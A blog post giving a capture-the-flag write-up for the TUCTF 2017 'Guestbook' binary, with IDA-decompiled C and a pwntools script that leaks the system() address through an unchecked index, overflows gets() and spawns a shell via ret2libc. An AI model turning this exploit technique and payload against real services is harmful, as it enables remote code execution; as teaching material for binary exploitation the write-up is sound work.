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<h1 class="post-title">
TUCTF 2017: Guestbook (250)
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<div class="post-date">
<abbr>Mon 27 November 2017</abbr> ·
2 min read </div>
</div> <p>We are given an ELF executable file, <code>guestbook</code> and a service for the executable. Our goal is
to spawn a shell from the service. Decompiling <code>guestbook</code> with IDA will yield this C pseudo-code:</p>
<div class="highlight"><pre><span class="code-line"><span></span><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span></span>
<span class="code-line"><span class="p">{</span></span>
<span class="code-line"> <span class="kt">char</span> <span class="n">s</span><span class="p">;</span> <span class="c1">// [sp+0h] [bp-98h]@16</span></span>
<span class="code-line"> <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [sp+64h] [bp-34h]@11</span></span>
<span class="code-line"> <span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// [sp+68h] [bp-30h]@7</span></span>
<span class="code-line"> <span class="kt">char</span> <span class="o">*</span><span class="n">dest</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span> <span class="c1">// [sp+6Ch] [bp-2Ch]@2</span></span>
<span class="code-line"> <span class="kt">char</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// [sp+7Fh] [bp-19h]@5</span></span>
<span class="code-line"> <span class="kt">int</span> <span class="p">(</span><span class="o">**</span><span class="n">v9</span><span class="p">)(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">);</span> <span class="c1">// [sp+80h] [bp-18h]@4</span></span>
<span class="code-line"> <span class="kt">char</span> <span class="o">**</span><span class="n">v10</span><span class="p">;</span> <span class="c1">// [sp+84h] [bp-14h]@4</span></span>
<span class="code-line"> <span class="kt">char</span> <span class="o">*</span><span class="n">v11</span><span class="p">;</span> <span class="c1">// [sp+88h] [bp-10h]@2</span></span>
<span class="code-line"> <span class="kt">char</span> <span class="n">v12</span><span class="p">;</span> <span class="c1">// [sp+8Fh] [bp-9h]@4</span></span>
<span class="code-line"> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [sp+90h] [bp-8h]@1</span></span>
<span class="code-line"></span>
<span class="code-line"> <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mh">0x14u</span><span class="p">);</span></span>
<span class="code-line"> <span class="n">puts</span><span class="p">(</span><span class="s">"Please setup your guest book:"</span><span class="p">);</span></span>
<span class="code-line"> <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">3</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span></span>
<span class="code-line"> <span class="p">{</span></span>
<span class="code-line"> <span class="n">printf</span><span class="p">(</span><span class="s">"Name for guest: #%d</span><span class="se">\n</span><span class="s">>>>"</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span></span>
<span class="code-line"> <span class="n">v11</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0xFu</span><span class="p">);</span></span>
<span class="code-line"> <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%15s"</span><span class="p">,</span> <span class="n">v11</span><span class="p">);</span></span>
<span class="code-line"> <span class="n">v11</span><span class="p">[</span><span class="mi">14</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span></span>
<span class="code-line"> <span class="n">dest</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">v11</span><span class="p">;</span></span>
<span class="code-line"> <span class="p">}</span></span>
<span class="code-line"> <span class="n">v10</span> <span class="o">=</span> <span class="n">dest</span><span class="p">;</span></span>
<span class="code-line"> <span class="n">v9</span> <span class="o">=</span> <span class="o">&</span><span class="n">system</span><span class="p">;</span></span>
<span class="code-line"> <span class="n">v12</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span></span>
<span class="code-line"> <span class="k">while</span> <span class="p">(</span> <span class="n">v12</span> <span class="p">)</span></span>
<span class="code-line"> <span class="p">{</span></span>
<span class="code-line"> <span class="k">do</span></span>
<span class="code-line"> <span class="n">v8</span> <span class="o">=</span> <span class="n">getchar</span><span class="p">();</span></span>
<span class="code-line"> <span class="k">while</span> <span class="p">(</span> <span class="n">v8</span> <span class="o">!=</span> <span class="mi">10</span> <span class="o">&&</span> <span class="n">v8</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span> <span class="p">);</span></span>
<span class="code-line"> <span class="n">puts</span><span class="p">(</span><span class="s">"---------------------------"</span><span class="p">);</span></span>
<span class="code-line"> <span class="n">puts</span><span class="p">(</span><span class="s">"1: View name"</span><span class="p">);</span></span>
<span class="code-line"> <span class="n">puts</span><span class="p">(</span><span class="s">"2: Change name"</span><span class="p">);</span></span>
<span class="code-line"> <span class="n">puts</span><span class="p">(</span><span class="s">"3. Quit"</span><span class="p">);</span></span>
<span class="code-line"> <span class="n">printf</span><span class="p">(</span><span class="s">">>"</span><span class="p">);</span></span>
<span class="code-line"> <span class="n">v6</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span></span>
<span class="code-line"> <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="o">&</span><span class="n">v6</span><span class="p">);</span></span>
<span class="code-line"> <span class="k">switch</span> <span class="p">(</span> <span class="n">v6</span> <span class="p">)</span></span>
<span class="code-line"> <span class="p">{</span></span>
<span class="code-line"> <span class="k">case</span> <span class="mi">2</span><span class="o">:</span></span>
<span class="code-line"> <span class="n">printf</span><span class="p">(</span><span class="s">"Which entry do you want to change?</span><span class="se">\n</span><span class="s">>>>"</span><span class="p">);</span></span>
<span class="code-line"> <span class="n">v5</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span></span>
<span class="code-line"> <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="o">&</span><span class="n">v5</span><span class="p">);</span></span>
<span class="code-line"> <span class="k">if</span> <span class="p">(</span> <span class="n">v5</span> <span class="o">>=</span> <span class="mi">0</span> <span class="p">)</span></span>
<span class="code-line"> <span class="p">{</span></span>
<span class="code-line"> <span class="n">printf</span><span class="p">(</span><span class="s">"Enter the name of the new guest.</span><span class="se">\n</span><span class="s">>>>"</span><span class="p">);</span></span>
<span class="code-line"> <span class="k">do</span></span>
<span class="code-line"> <span class="n">v8</span> <span class="o">=</span> <span class="n">getchar</span><span class="p">();</span></span>
<span class="code-line"> <span class="k">while</span> <span class="p">(</span> <span class="n">v8</span> <span class="o">!=</span> <span class="mi">10</span> <span class="o">&&</span> <span class="n">v8</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span> <span class="p">);</span></span>
<span class="code-line"> <span class="n">gets</span><span class="p">(</span><span class="o">&</span><span class="n">s</span><span class="p">);</span></span>
<span class="code-line"> <span class="n">strcpy</span><span class="p">(</span><span class="n">dest</span><span class="p">[</span><span class="n">v5</span><span class="p">],</span> <span class="o">&</span><span class="n">s</span><span class="p">);</span></span>
<span class="code-line"> <span class="p">}</span></span>
<span class="code-line"> <span class="k">else</span></span>
<span class="code-line"> <span class="p">{</span></span>
<span class="code-line"> <span class="n">puts</span><span class="p">(</span><span class="s">"Enter a valid number"</span><span class="p">);</span></span>
<span class="code-line"> <span class="p">}</span></span>
<span class="code-line"> <span class="k">break</span><span class="p">;</span></span>
<span class="code-line"> <span class="k">case</span> <span class="mi">3</span><span class="o">:</span></span>
<span class="code-line"> <span class="n">v12</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span></span>
<span class="code-line"> <span class="k">break</span><span class="p">;</span></span>
<span class="code-line"> <span class="k">case</span> <span class="mi">1</span><span class="o">:</span></span>
<span class="code-line"> <span class="n">readName</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">dest</span><span class="p">);</span></span>
<span class="code-line"> <span class="k">break</span><span class="p">;</span></span>
<span class="code-line"> <span class="k">default</span><span class="o">:</span></span>
<span class="code-line"> <span class="n">puts</span><span class="p">(</span><span class="s">"Not a valid option. Try again"</span><span class="p">);</span></span>
<span class="code-line"> <span class="k">break</span><span class="p">;</span></span>
<span class="code-line"> <span class="p">}</span></span>
<span class="code-line"> <span class="p">}</span></span>
<span class="code-line"> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span></span>
<span class="code-line"><span class="p">}</span></span>
</pre></div>
<p>The <code>gets</code> function is pretty tempting to exploit. Unfortunately, we're not given a function to
print flag, so we can only solve this with ret2libc. This means we'll need to leak libc base
address to pwn this binary. We'll use readName function to do this. Here's the readName function
after we decompile it with IDA:</p>
<div class="highlight"><pre><span class="code-line"><span></span><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">readName</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">)</span></span>
<span class="code-line"><span class="p">{</span></span>
<span class="code-line"> <span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// eax@2</span></span>
<span class="code-line"> <span class="kt">int</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// [sp+0h] [bp-8h]@1</span></span>
<span class="code-line"></span>
<span class="code-line"> <span class="n">printf</span><span class="p">(</span><span class="s">"Which entry do you want to view?</span><span class="se">\n</span><span class="s">>>>"</span><span class="p">);</span></span>
<span class="code-line"> <span class="n">v2</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span></span>
<span class="code-line"> <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="o">&</span><span class="n">v2</span><span class="p">);</span></span>
<span class="code-line"> <span class="k">if</span> <span class="p">(</span> <span class="n">v2</span> <span class="o">>=</span> <span class="mi">0</span> <span class="p">)</span></span>
<span class="code-line"> <span class="n">result</span> <span class="o">=</span> <span class="n">puts</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="p">)(</span><span class="mi">4</span> <span class="o">*</span> <span class="n">v2</span> <span class="o">+</span> <span class="n">a1</span><span class="p">));</span></span>
<span class="code-line"> <span class="k">else</span></span>
<span class="code-line"> <span class="n">result</span> <span class="o">=</span> <span class="n">puts</span><span class="p">(</span><span class="s">"Enter a valid number"</span><span class="p">);</span></span>
<span class="code-line"> <span class="k">return</span> <span class="n">result</span><span class="p">;</span></span>
<span class="code-line"><span class="p">}</span></span>
</pre></div>
<p>Leaking the libc base address can be done by calling readName and give <code>6</code> as input. This will
make puts to write the content of the address pointed by <code>v10</code>, which is pointing to <code>dest</code>.
Since <code>dest</code> is an array filled with malloc'ed address, it will continue to leak the system
address on <code>v9</code>. This is possible because the binary is 32-bit and malloc'ed address in 32-bit
generally doesn't have any 0x00 byte (unless you're super unlucky).</p>
<p>After we got the system address, we can create the ROP and get the shell. Here's the script to
get the shell:</p>
<div class="highlight"><pre><span class="code-line"><span></span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span></span>
<span class="code-line"></span>
<span class="code-line"><span class="k">def</span> <span class="nf">debug</span><span class="p">(</span><span class="n">p</span><span class="p">):</span></span>
<span class="code-line"> <span class="n">util</span><span class="o">.</span><span class="n">proc</span><span class="o">.</span><span class="n">wait_for_debugger</span><span class="p">(</span><span class="n">util</span><span class="o">.</span><span class="n">proc</span><span class="o">.</span><span class="n">pidof</span><span class="p">(</span><span class="n">p</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span></span>
<span class="code-line"></span>
<span class="code-line"><span class="c1"># p = process('./guestbook')</span></span>
<span class="code-line"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">'guestbook.tuctf.com'</span><span class="p">,</span> <span class="mi">4545</span><span class="p">)</span></span>
<span class="code-line"></span>
<span class="code-line"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'a'</span><span class="p">)</span></span>
<span class="code-line"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'b'</span><span class="p">)</span></span>
<span class="code-line"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'c'</span><span class="p">)</span></span>
<span class="code-line"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'d'</span><span class="p">)</span></span>
<span class="code-line"></span>
<span class="code-line"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'1'</span><span class="p">)</span></span>
<span class="code-line"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'6'</span><span class="p">)</span></span>
<span class="code-line"><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'view?</span><span class="se">\n</span><span class="s1">>>>'</span><span class="p">)</span></span>
<span class="code-line"><span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span></span>
<span class="code-line"><span class="n">system_addr</span> <span class="o">=</span> <span class="n">unpack</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()[:</span><span class="mi">4</span><span class="p">])</span></span>
<span class="code-line"><span class="n">bin_sh_addr</span> <span class="o">=</span> <span class="n">system_addr</span> <span class="o">+</span> <span class="mh">0x15f551</span> <span class="o">-</span> <span class="mh">0x3e3e0</span></span>
<span class="code-line"><span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">system_addr</span><span class="p">))</span></span>
<span class="code-line"><span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">bin_sh_addr</span><span class="p">))</span></span>
<span class="code-line"></span>
<span class="code-line"><span class="c1"># debug(p)</span></span>
<span class="code-line"></span>
<span class="code-line"><span class="n">rop</span> <span class="o">=</span> <span class="n">pack</span><span class="p">(</span><span class="n">system_addr</span><span class="p">)</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="mh">0x41414141</span><span class="p">)</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="n">bin_sh_addr</span><span class="p">)</span></span>
<span class="code-line"><span class="n">payload</span> <span class="o">=</span> <span class="s1">'A'</span> <span class="o">*</span> <span class="mh">0x2c</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="mh">0x41414141</span><span class="p">)</span> <span class="o">+</span> <span class="n">rop</span></span>
<span class="code-line"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'2'</span><span class="p">)</span></span>
<span class="code-line"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'6'</span><span class="p">)</span></span>
<span class="code-line"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span></span>
<span class="code-line"></span>
<span class="code-line"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">''</span><span class="p">)</span></span>
<span class="code-line"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">'3'</span><span class="p">)</span></span>
<span class="code-line"></span>
<span class="code-line"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span>
</pre></div>
<p>Flag is: <code>TUCTF{k33p_17_up_k1d}</code></p>
<p>P.S. Here I used <code>/bin/sh</code> string found in libc, which can be computed by getting the libc with
the md5 provided from the challenge and then calculate it relative to <code>system</code> address that we
found. You should be able to do it by giving one of the guest name to <code>/bin/sh</code> and then give
the address to <code>system</code>. The address can be found when we leak libc base address.</p>
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